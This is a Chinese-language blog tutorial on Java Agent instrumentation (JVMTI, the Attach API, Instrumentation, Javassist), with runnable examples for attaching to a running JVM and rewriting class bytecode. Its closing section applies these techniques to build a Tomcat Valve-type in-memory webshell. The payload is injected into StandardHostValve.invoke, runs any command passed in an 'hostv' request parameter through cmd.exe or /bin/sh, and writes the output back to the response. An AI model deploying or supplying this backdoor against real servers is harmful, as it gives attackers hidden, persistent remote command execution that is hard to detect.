JVMTI:Java虚拟机对外提供的Native编程接口,通过JVMTI,外部进程可以获取到运行时JVM的诸多信息,比如线程、GC等。
Agent:Agent是一个运行在目标JVM的特定程序,它的职责是负责从目标JVM中获取数据,然后将数据传递给外部进程。
根据官方文档所述,Attach API是一个扩展,其提供了与JVM连接的一种机制,通过这种机制可以将agent加载进JVM动态执行一个代理程序。
主要类:(AttachPermission类需要开启SecurityManager选项)
主要方法:(前提是获得JVM的reference,即成功attach)
使用方式:
- VirtualMachine对象可以通过attach一个标识符连接到JVM来获得,而标识符常采用PID表示(agent要监控的Java程序的PID),因此连接方式就是
attach(PID)
;(PID可通过jps -l
列举)
- 通过VirtualMachineDescriptor类指定JVM list中的JVM连接来获得VirtualMachine对象,这样的好处就是不需要寻找具体的PID,只要指定程序名即可(程序名为运行的项目名)
注:连接JVM需要tools.jar依赖,但是在Windows环境中该jar并不在classpath中,因此可以通过URLClassLoader引入,具体代码可参考浅谈 Java Agent 内存马@天下大木头,若只是本地尝试,直接IDEA添加进library即可
以下为无URLClassLoader版:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String agentJar = args[0]; // agent程序,偷个懒也可以直接代码跑
System.out.println("your input:" + agentJar);
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 遍历所有reference
// System.out.println(vmd.displayName());
// 寻找agent监控的程序
if (vmd.displayName().endsWith("AttachAgent")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(agentJar); // 加载agent程序
virtualMachine.detach(); // 结束连接
}
}
System.out.println("it's over!");
}
}
|
介绍:Instrumentation是一个接口,在它的底层实现中存在一个JVMTI的代理程序,使其能够调用JVMTI提供的相关类实现动态修改字节码。
实现方式:
- 实现
premain
方法,在JVM启动前加载
- 实现
agentmain
方法,在JVM启动后加载
声明方式:(拥有Instrumentation类型参数的方法优先级更高)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
// premain
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
// agentmain
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
|
修改自javaagent使用指南:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
//增加Class文件的转换器,转换器用于改变Class二进制流的数据,参数 canRetransform 设置是否允许重新转换
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
boolean isRetransformClassesSupported();
// 对JVM已经加载的类通过addTransformer方法注册的transformer重新处理一遍,然后将处理结果传入JVM作为重加载结果
// 该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名
// JDK6引入
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
boolean isRedefineClassesSupported();
// 对JVM已经加载的类重新触发类加载,但不会触发transformer,而是直接将参数中的byte-code传给JVM定义一个同名新类
// 通过传入的byte-code重新定义一个已存在的“新类”
// JDK5引入
void redefineClasses(ClassDefinition... definitions)
throws ClassNotFoundException, UnmodifiableClassException;
// 判断某个类是否能被修改
boolean isModifiableClass(Class<?> theClass);
// 获取所有已经加载的类
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
@SuppressWarnings("rawtypes")
Class[] getInitiatedClasses(ClassLoader loader);
//获取一个对象的大小
long getObjectSize(Object objectToSize);
void appendToBootstrapClassLoaderSearch(JarFile jarfile);
void appendToSystemClassLoaderSearch(JarFile jarfile);
boolean isNativeMethodPrefixSupported();
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);
|
介绍:ClassFileTransformer在运行时会拦截系统类和自己实现的类对象,此时可用于运行时修改字节码
1
2
3
4
5
6
7
|
byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
|
使用条件:agent实现该接口,然后覆写其transform方法来修改对象
条件:需要命令行启动参数
使用方法:
1、创建一个类并实现premain方法
1
2
3
4
5
6
7
|
import java.lang.instrument.Instrumentation;
public class AgentFirst {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("Do I load earlier than the method Main?");
}
}
|
2、在resources
目录下创建META-INF/MANIFEST.MF
,内容如下
Manifest-Version: 1.0
Premain-Class: AgentFirst(类地址,需要加上package名)
(此处要多一行)
3、打包
1. 选择`Project Structure`->`Artifacts`->`JAR`->`From modules with dependencies`
2. 选择`Build`->`Build Artifacts`->`Build`
4、通过命令行启动参数指定javaagent执行上面一步的jar包
1
|
java -javaagent:agentLearn.jar -jar hello.jar
|
1、创建一个类并实现agentmain方法
1
2
3
4
5
6
7
|
import java.lang.instrument.Instrumentation;
public class AgentAfter {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("Can you find where I am?:)");
}
}
|
2、resources
目录下创建META-INF/MANIFEST.MF
,内容如下
Manifest-Version: 1.0
Agent-Class: AgentAfter(类地址,需要加上package名)
Can-Redefine-Classes: true(某些场景下需要这两项配置)
Can-Retransform-Classes: true
(此处要多一行)
3、通过Attach API连接JVM,编写程序并打包(见上Attach API部分)
4、命令行启动
1
2
|
# agentLesson.jar 为代码中的 arg[0]
java -jar attachLearn.jar "agentLesson.jar"
|
项目地址:https://github.com/jboss-javassist/javassist
changelog:
两个级别的API:
- 源级:可以编辑类文件;可以以源文本的形式指定插入的字节码
- 字节码级:允许用户直接编辑类文件
介绍:存放CtClass
对象的容器
获得方法: ClassPool cp = ClassPool.getDefault();
注:通过 ClassPool.getDefault()
获取的ClassPool
使用 JVM 的类搜索路径。如果程序运行在 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径。
添加类搜索路径:cp.insertClassPath(new ClassClassPath(<Class>));
介绍:ClassPool中的Class对象
获得方法:CtClass cc = cp.get(ClassName)
调用get方法时将搜索表示的各种源ClassPath
以查找类文件,然后创建一个CtClass
表示该类文件的对象
介绍:ClassPool中的Method对象,其方法可用来修改方法体
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)
内部定义方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}
// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);
// 插入在方法体最前面
public void insertBefore(String src);
// 插入在方法体最后面, return之前
public void insertAfter(String src);
// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);
}
|
参数要求:String对象是Javassist的编译器编译的,由于编译器支持语言扩展,以$
开头的几个标识符有特殊的含义
符号 |
含义 |
$0 , $1 , $2 , ... |
$0 = this; $1 = args[1] ..... |
$args |
方法参数数组.它的类型为 Object[] |
$$ |
所有实参。例如, m($$) 等价于 m($1,$2, ...) |
$cflow(...) |
cflow 变量 |
$r |
返回结果的类型,用于强制类型转换 |
$w |
包装器类型,用于强制类型转换 |
$_ |
返回值 |
$sig |
类型为 java.lang.Class 的参数类型数组 |
$type |
一个 java.lang.Class 对象,表示返回值类型 |
$class |
一个 java.lang.Class 对象,表示当前正在修改的类 |
1
|
CtField cf = cc.getDeclaredField("serialVersionUID"); // 查找指定字段
|
1、编写一段打印hello world的程序
1
2
3
4
5
6
7
8
|
// Hello.java
package com.tyskill;
public class Hello {
public void hello() {
System.out.println("Hello World!!!");
}
}
|
2、通过javassist编写代码修改上述方法体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// AgentDemo.java
package com.tyskill;
import javassist.*;
public class AgentDemo {
public static void main(String[] args) throws Exception {
// javassist修改方法体
try {
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Hello.class));
CtClass clazz =cp.get("com.tyskill.Hello"); // 获取修改目标类
CtMethod cMethod = clazz.getDeclaredMethod("hello"); // 获取修改目标方法
String mBody = "{System.out.println(\"hello transformer\");}"; // 修改内容
cMethod.setBody(mBody); // 设置内容
// 必须要通过其他ClassLoader加载Hello类,否则会引起冲突导致无法编译通过
Loader classLoader = new Loader(cp); //Javassist 提供的 Classloader
Class clazz2 = classLoader.loadClass("com.tyskill.Hello");
clazz2.getDeclaredMethod("hello").invoke(clazz2.newInstance());
} catch (NotFoundException | CannotCompileException e) {
e.printStackTrace();
}
}
}
|
1、编写一段打印hello world的程序,打包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
// agentLesson.java
import java.util.Scanner;
public class agentLesson {
public static void main(String[] args) {
Hello h1 = new Hello();
h1.hello();
Scanner input = new Scanner(System.in); // 维持程序运行
input.next();
// 重新实例化
Hello h2 = new Hello();
h2.hello();
}
}
// Hello.java
class Hello {
public void hello() {
System.out.println("Hello World!!!");
}
}
|
2、通过javassist编写代码修改上述方法体,打包
注:Windows下发现无法直接加载javassist依赖,因此需要通过URLClassLoader+反射的方式动态加载javassist.jar
来实现字节码修改,但这样需要额外产生一个文件落地,并且也很麻烦,所以我们可以仿照https://github.com/ethushiroha/JavaAgentTools,直接集成javassist(Javassist 3.21.0-GA及之前只支持jdk8及低版本jdk,因此若使用jdk8编译时后续版本会无法成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
// javassist包复制粘贴
// AgentDemo.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
System.out.println("[+] do agentmain...");
Class[] classes = inst.getAllLoadedClasses();
for (Class clazz: classes) {
// System.out.println(loadClass.getName());
if(clazz.getName().equals(EditClassName)) { // 待修改的类
System.out.println("[+] find the object successfully...");
// 添加转换器
inst.addTransformer(new TransformerTpl(EditClassName, EditMethodName, EditMethodBody), true);
// 更新类
inst.retransformClasses(clazz);
}
}
}
}
// TransformerDemo.java
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TransformerDemo implements ClassFileTransformer {
// 只需要修改这里就能修改别的函数
public String editClassName = "";
public String editClassName2 = "";
public String editMethodName = "";
public String editMethodBody = "";
public TransformerTpl(String editClassName, String editMethodName, String editMethodBody) {
this.editClassName = editClassName;
this.editClassName2 = editClassName.replace('/', '.');
this.editMethodName = editMethodName;
this.editMethodBody = editMethodBody;
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
// 只修改目标类
if (className.equals(this.editClassName)) {
System.out.println("[+] Instrumentation...");
try {
ClassPool cp = ClassPool.getDefault();
// 解决找不到目标类的问题
if (classBeingRedefined != null) {
System.out.println("[-] can't find the target");
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
System.out.println("[+] add the target to classpath");
}
System.out.println("[!] modify the class: " + this.editClassName);
CtClass ctClass = cp.getCtClass(this.editClassName); // 获取目标类
CtMethod ctMethod = ctClass.getDeclaredMethod(this.editMethodName); // 获取目标方法
// 方法开头插入内容
ctMethod.insertBefore(this.editMethodBody);
// 方法末尾插入内容
// ctMethod.insertAfter(this.editMethodBody, true);
// ctMethod.setBody(this.editMethodBody); // 修改内容
byte[] bytes = ctClass.toBytecode(); // 获得修改后类的字节码
ctClass.detach(); // 将该class从ClassPool中删除, 清除对象缓存
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return null; // 返回null表示不做出任何修改
}
}
|
3、连接JVM执行agent程序修改字节码:
注:该代码可以与上面代码在同一个项目中,也可以另外新建一个项目去运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// VmConn.java
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class VmConn {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String agentJar = "Agent.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 遍历所有reference
// System.out.println(vmd.displayName());
// 寻找到agent监控的程序,此处就通过自身来代替,因为也不需要修改什么
if (vmd.displayName().endsWith("agentLesson.jar")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent(agentJar); // 加载agent程序
virtualMachine.detach(); // 结束连接
}
}
System.out.println("it's over!");
}
}
|
4、输入后继续执行第一步的程序,修改成功
PS:感觉这种方式有助于清除内存马,所以记录一下使用方式
使用:其他步骤差不多,就只记录不同的地方
- 定义用于替换原类的Hello类,编译获得class文件:
1
2
3
4
5
|
public class Hello {
public void hello() {
System.out.println("I'm handsome!hhh!!!");
}
}
|
- 修改agent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// Hello.java--用于ClassDefinition类参数一
public class Hello {}
// AgentDemo.java
public class AgentDemo {
public static Instrumentation INST = null;
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, IOException, ClassNotFoundException {
INST = inst;
process();
}
public static void process() throws UnmodifiableClassException, IOException, ClassNotFoundException {
Class[] classes = INST.getAllLoadedClasses();
for (Class clazz: classes) {
// System.out.println(loadClass.getName());
if(clazz.getName().equals("Hello")) { // 待修改的类
System.out.println("[+] find the object successfully...");
Path path = Paths.get("Hello.class");
byte[] data = Files.readAllBytes(path); // 获得redefineClass字节码
INST.redefineClasses(new ClassDefinition(Hello.class, data)); // 重新定义Hello类
}
}
}
}
|
理论说完,实践开始。既然agent技术可以在运行时修改类字节码,那么就可以用于内存马的植入,且这种植入是修改已存在处理类而非添加新处理类的效果,网上大部分都是Filter型的agent实现,为了抑制自己的CV欲望,就搞一下Valve型的agent实现吧。
首先什么是Valve型内存马呢?tomcat的容器组件间采取的是责任链模式,每个子容器之间通过pipeline传递通信,而pipeline内使用valve(阀门)来处理当前子容器内的请求,每次请求都会触发Valve对象的invoke方法对请求进行处理。常见的Valve对象有不少,不过主要的还是几个子容器的Valve对象:StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve,因此我们可以选择这几个类来进行修改。
以StandardHostValve为例,看一下invoke的格式:
1
|
public final void invoke(Request request, Response response) throws IOException, ServletException {...}
|
直接就提供了Request对象,这样也不需要再通过其他手段来获取了,可以直接进行修改
注:javassist插入方法体中参数需要通过${id}
的格式来指定参数(见上述CtMethod内容),也可以通过定义同一个类型的变量来保存参数
修改代码上面都给了,这里就简单列一下具体的参数吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
private final static String EditClassName = "org.apache.catalina.core.StandardHostValve";
private final static String EditMethodName = "invoke";
private final static String EditMethodBody = " try {" +
" org.apache.catalina.connector.Request req = $1;\n" +
" org.apache.catalina.connector.Response resp = $2;\n" +
" if (req.getParameter(\"hostv\") != null) {\n" +
" String paramm = req.getParameter(\"hostv\");\n" +
" String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\",\n" +
" \"/c\", paramm} : new String[]{\"/bin/sh\", \"-c\", paramm};\n" +
" java.io.InputStream in = (new ProcessBuilder(cmds)).start().getInputStream();\n" +
" java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\A\");\n" +
" String o = s.hasNext() ? s.next() : \"\";\n" +
" resp.getOutputStream().print(o);\n" +
" resp.getOutputStream().flush();\n" +
" resp.getOutputStream().close();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }";
|
效果如下:
问题:在内存马中调用response.getWrite()
方法回显结果会导致Spring后续渲染view时出现无法调用response.getWrite()
方法的异常,此时也无法正常显示执行结果
解决方法:使用resp.getOutputStream()
替代
注:这种方法在Windows下会出现一些命令执行结果由于编码问题无法回显的问题,并且控制台会出现报错,查到的解决办法是使用writer替换。emmm,这算不算是悖论
概念:
- JVMTI提供外部获取JVM状态的编程接口;
- Agent是一个运行在目标JVM的特定程序,负责从JVM获取数据并传递到外部进程中;
- Attach API提供Java程序代理连接到JVM的机制;
- Instrumentation提供Java程序代理动态修改字节码的能力;
- javassist是Java中编辑字节码的类库(非原生),使Java程序能够在运行时修改类字节码